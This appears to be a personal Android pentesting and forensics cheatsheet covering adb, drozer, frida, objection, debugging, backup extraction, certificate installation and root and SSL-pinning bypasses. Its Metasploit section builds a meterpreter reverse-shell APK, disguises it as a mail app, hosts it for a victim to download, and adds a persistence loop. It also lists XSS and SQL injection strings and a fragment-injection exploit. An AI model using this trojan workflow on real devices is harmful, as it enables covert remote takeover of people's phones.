πŸ“˜ BTFM and RTFM Android


Created: 10.09.2020

This is a combination of BTFM and RTFM (Blue Team Field Manual and Red Team Field Manual) for Android devices and applications. I used to keep two separate field manuals at first, but since there are just too many intersections, I’ve decided to combine them to make it easier to use. For iOS RTFM and BTFM see here

I use the below cheatsheet at the very beginning of forensic analysis or application testing.

Cheatsheet

INFO TO GET Answer
package_name
path to apk

Get package name

# option 1
frida-ps -U | grep [partial_name]
# option 2
drozer console connect
run app.package.list
# option 3
adb shell
cd /data/data/
ls | grep [partial_name]

Get path to apk

# option 1
adb shell pm path [package_name]
# option 2
drozer console connect
run app.package.info –a [package_name]

Get Application Local Files

adb shell
su
cd /data/data && tar -czvf /sdcard/packagename.tar /packagename
# Ctrl+D
adb pull /sdcard/packagename.tar .

Common Artifacts

Application Vulnerability Assessment

In the process of preparing a script to automate this process (partly, wherever possible).

Test 🍎 OR🍏 comment
GUI πŸ”
Logs
Local Storage Info Leak
Backup Info Leak
Root-detect
SSL pinning
APK Info leak
Local Authentication
Traffic Info Leak
Code Obfuscation
Runtime Attacks
Debug
RAM Leak
Crypto
Activities
Broadcast Receivers
Broadcast Senders
Content Providers
Custom URL Schemes
Services
WebViews Check
Injections
Firebase configuration
Signatures
Third-party libraries
Instant Applications
Logical Bugs
Error Handling

Get Device Info

adb shell getprop ro.build.version.release # get Android version
adb shell getprop ro.build.version.sdk # get API version
adb shell getprop # all device info
adb shell cat /system/build.prop # another way to get this info

Connecting

Over USB:

adb shell

Over WiFi:

adb shell ifconfig # get mobile device IP
adb tcpip 5555 # start adb in tcpip mode
adb connect [mobile_IP]:5555 # disconnect USB before that
adb shell # to check
adb usb # disable tcpip mode

Install apk

adb install [appname].apk

Local Storage

adb shell
su
cd /data/data && tar -czvf /sdcard/packagename.tar /packagename
# Ctrl+D
adb pull /sdcard/packagename.tar .

Backup

# create *.ab file with backup data
adb backup -f mybackup.ab # for all
adb backup -f mybackup.ab -apk # for one app

# convert *.ab to *.tar and unpack
java -jar [path_to_abe.jar]/abe.jar mybackup.tar mybackup.ab [password_optional] # win

dd if=backup.ab bs=1 skip=24 | python -c "import zlib,sys;sys.stdout.write(zlib.decompress(sys.stdin.read()))" > backup.tar # linux option1
dd if=mybackup.ab bs=24 skip=1|openssl zlib -d > mybackup.tar # linux option1 

abe.jar

Debugging

JDB

Useful to watch regarding debugging in Android applications.

Get PID list:

# get the PID of the application to be debugged
# option 1. List all debuggable apps
adb jdwp
# option 2
drozer console connect
run app.package.attacksurface <package_name>
# option 3. List all debuggable apps 
drozer console connect
run app.package.debuggable
# option 4
frida-ps -U | Select-String <package_name_full_or_partial> # windows
frida-ps -U | grep <package_name_full_or_partial> # linux/mac

Forward in adb:

adb forward tcp:12345 jdwp:<PID_of_app>

Connect to process:

jdb -connect com.sun.jdi.SocketAttach:port=12345 # windows
jdb -attach localhost:12345 # linux/mac

{ echo "suspend"; cat; } | jdb -attach localhost:12345 # suspend the process on the Java level

Debugging (useful commands) for jdb:

classes #list all loaded classes
class/methods/fields class id # Print details about a class and list its methods and fields
locals # print local variables in current stack frame
print/dump expr # print information about an object
stop in method # set a method breakpoint
clear method # remove a method breakpoint
set <var_name> = <new value> #  assign new value to field/variable/array element

monitor <command> # execute command each time the program stops. Proven useful when some breakpoint is hit too often and the locals need constant tampering or viewing. Example, monitor locals.

DBG

To suspend the process on the OS level - turn on Wait for Debugger feauture on the mobile device.

Install Android NDK on the host PC and gdb server on the mobile device.

  1. Download the latest stable version of NDK.
  2. Extract the downloaded πŸ“¦ zip, cd into the NDK root directory
  3. Run ./build/tools/make_standalone_toolchain.py --arch arm --api 24 --install-dir /tmp/android-7-toolchain

Thus, a standalone toolchain is created in /tmp/android-7-toolchain. To add it to the env variable and make persistent:

echo ~/.zshrc >> export TOOLCHAIN=/tmp/android-7-toolchain # linux/mac

For Windows, add the path to NDK to $PATH environment variable.

Read more about debugging native application on Android here.

Tracing

Runtime Attacks

Frida

adb shell
su
cd /sbin
# to use frida over USB 
./frida
# to use frida over WiFi
./frida -l [device_ip]

Trace

frida-trace -U -i β€œ*[function_name_full_or_partial]*” β€œ[package_name or PID]” # over USB 

frida-trace -H [mobile phone IP] -i β€œ*[function_name_full_or_partial]*” β€œ[package_name or PID]” # over WiFi

frida-trace –U β€œ[package_name or PID]” -m "-[NSURL* *HTTP*]" # for functions workimg with HTTP

Objection

objection -g [package_name] explore # launch

Dump App’s RAM

Fridump

adb shell
su /sbin
./frida-server

python fridump.py --usb -r -s --max-size 1000000000 -o . [package_name]

Result in string.txt

Objection

adb shell
su /sbin
./frida-server

objection -g [package_name] explore 
memory dumpall [dump_name]
strings.exe [dump_name] > strings.txt

Result in string.txt

Logs

adb logcat | grep "keyword" > logs.txt
adb logcat --pid=8423 > logs.txt # log specific process by PID

Get App List

Drozer

adb forward tcp:31415 tcp:31415
drozer console connect
run app.package.list

Get App Info

Drozer

adb forward tcp:31415 tcp:31415
drozer console connect

run app.package.info -a [package_name]
run app.package.manifest [package_name]
run app.package.attacksurface[package_name]

App Attacks

Launch drozer agent on mobile device then run in terminal:

adb forward tcp:31415 tcp:31415
drozer console connect

Attacks on activities:

run app.activity.info -a [package_name]
run app.activity.start --component [package_name] [activity_full_name]

Attacks on broadcast receivers:

run app.broadcast.info -a [package_name]

run app.broadcast.send --action <action from Manifest> --component <fullclassname> <classname> --extra string <varname> <value>

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"

Attacks on Custom URL Schemes:

run scanner.activity.browsable -a [package_name] # to find browsable activities
dz> run app.activity.start  --action android.intent.action.VIEW --data-uri "sms://0123456789" # to launch such activity with parameters passed

Attacks on content providers:

run scanner.provider.finduris -a [package_name]
run app.provider.query content://[URI_to_the_content]
run app.provider.query content:// [package_name].[provider_name] --vertical
run scanner.provider.injection -a [package_name]

Examples of insert:

run app.provider.insert content://com.vulnerable.im/messages
--string date 1331763850325
--string type 0
--integer _id 7
run app.provider.update content://settings/secure
--selection "name=?"
--selection-args assisted_gps_enabled
--integer value 0
run app.provider.delete content://settings/secure
--selection "name=?"
--selection-args my_setting

Permissions check

adb shell dumpsys package [package_name] | grep permission
drozer agent buildΒ  --permission android.permission.REQUIRED_PERMISSION
run app.package.attacksurface com.android.insecurebankv2
run app.activity.info -a [package_name]
run app.broadcast.info -a [package_name]
run scanner.provider.finduris -a [package_name]
run app.service.info -a [package_name]

WebViews

setJavaScriptEnabled(true), android.permission.READ_EXTERNAL_STORAGE UniversalAccessFromFileURLs = true

Injection

Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ - android:targetSdkVersion < 19, extends PreferenceActivity, isValidFragment.Β 
<script>alert(1)</script>Β 
β€˜ or 1=1 --

Signatures

apksigner verify --verbose Desktop/example.apk
jarsigner -verify -verbose -certs example.apk

Network

Burp Certificate

Proxy β†’ Options β†’ Proxy Listeners β†’ Import/Export CA Certificate β†’ Export β†’ Certificate key in Der format (1st option). Choose path and name for the certificate.

🚫 Error: Openssl not installed

βœ… Fix: on Windows download from here. Add C:\OpenSSL-Win64\bin to PATH environment variable. On Mac: brew install openssl.

openssl x509 -inform DER -in cacert.der -out cacert.pem # convert from from der to pem
openssl x509 -inform PEM -subject_hash_old -in cacert.pem # get the certificate’s hash
mv cacert.pem [hash].pem # Rename cacert.pem into [hash].pem
adb push [hash].pem /sdcard # upload on Android

On Android Certificates or CA - find in settings. Install Certificates β†’ choose sdcard location and install it.

NB❗ Lock screen should be enabled in this case.

To add the cert as a root certificates (not usually neccessary):

adb root
adb push 9a5ba575.0 /sdcard/
adb shell
su
mount -o remount,rw /system
mv /sdcard/9a5ba575.0 /system/etc/security/cacerts/
chmod 644 /system/etc/security/cacerts/9a5ba575.0 
reboot

Useful greps

grep -rP  '(https?):\/\/(www\.)?[a-z0-9.:].*?(?=\s)' .> ../links.txt # links
grep -r -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" . # email
grep -r -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" .  # visa cards numbers
mstercard grep -r -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" . # mastercard

Expoits

Fragment injection

sdk < 19 && device < 4.4. The code below is from Mobile Security Guide.

Intent i = new Intent();
i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
i.setClassName("pt.claudio.insecurefragment","pt.claudio.insecurefragment.MainActivity");
i.putExtra(":android:show_fragment","pt.claudio.insecurefragment.MyFragment");
Intent intent = i.setData(Uri.parse("https://security.claudio.pt"));
startActivity(i); # here is supposed to be the malicious data passed

Exploiter

Here is the link to my Android application, which implements all common attacks as a “malicous” application as is described in Mobile Security Testing Guide. For example, it contains exploit for this vulnerability.

Metasploit

Create a stager and output into mail.apk

msfvenom --platform android --arch dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.72.208 LPORT=8888 -f raw -o mail.apk

Checked on Samsung DUOS

msfvenom --platform android --arch dalvik -p android/meterpreter_reverse_tcp LHOST=192.168.72.208 LPORT=4444 -f raw -o mail.apk

Change the name for the app as it is seen on the phone:

apktool d mail.apk
cd mail/res/values
nano strings.xml

Change MainActivity to Mail and save. Download some icon for the application, and copy it into /mipmap/res/mipmap/ folder.

cd ..
mkdir mipmap
copy icon to /res/mipmap/
AndroidManifest.xml

Open AndroidManifest.xml and add a link to that icon:

<application android:label="@string/app_name" android:icon="@mipmap/mail">

Build, create a key and sign the application with that key:

# Rebuild the application back into an apk with
apktool b <decompiled_folder_with_a_patch>  -o <new_apk_name>.apk
# If you don't have a keystore to use for signing, create the keystore first with 
keytool -genkey -v -keystore <keystore_name> -alias <key_name> -keyalg RSA -keysize 2048 -validity 10000.
# Sign the application with <key_name> from <keystore_name> with 
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <keystore_name> <new_apk_name>.apk <key_name>

zipalign` is an archive alignment tool that provides important optimization to Android application (APK) files. The purpose is to ensure that all uncompressed data starts with a particular alignment relative to the start of the file. Specifically, it causes all uncompressed data within the APK, such as images or raw files, to be aligned on 4-byte boundaries. This allows all portions to be accessed directly with mmap() even if they contain binary data with alignment restrictions. The benefit is a reduction in the amount of RAM consumed when running the application. To do so:

sudo su -
zipalign -fv 4 mail_temp.apk /var/www/html/mail.apk
What for?

Start apache to host the malicious application for the victim to download;

service apache2 start

Start metasploit as an attacker:

msfconsole

use exploit/multi/handler set payload android/meterpreter/reverse_tcp options set LPORT 8888 set LHOST 192.168.72.208 set exitonsession false exploit

When connected to meterpreter on the remote Android (after the victim has downloaded the malware and launched). This is for persistence, so that the user won’t need to launch the application, it’ll be launched automatically:

#!/bin/bash 
while true do am start –user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 60 done

In meterpreter upload the above bash script:

/home/android/Downloads/Lab3.4/bc.sh /sdcard shell 
cd /sdcard 
sh bc.sh 

Should look something like this:

Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity launchParam=MultiScreenLaunchParams { mDisplayId=0 mFlags=0 } }

Introspy

Launch Tracer on mobile device:

python -m introspy -p android -o output introspy-android.db

Bypasses

Root-detect

objection -g [package_name] explore
android root disable

SSL pinning

objection -g [package_name] explore
android sslpinning disable

Patch

# 1. Decompile the application to get to the bytecode or AndroidManifest.xml 
apktool d <package_name>.apk
# 2. New folder with the <package_name> name will be created. Browse the folder, patch the file you need and save.
# 3. Rebuild the application back into an apk with
apktool b <decompiled_folder_with_a_patch>  -o <new_apk_name>.apk
# 4. If you don't have a keystore to use for signing, create the keystore first with 
keytool -genkey -v -keystore <keystore_name> -alias <key_name> -keyalg RSA -keysize 2048 -validity 10000.
# 5. Sign the application with <key_name> from <keystore_name> with 
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <keystore_name> <new_apk_name>.apk <key_name>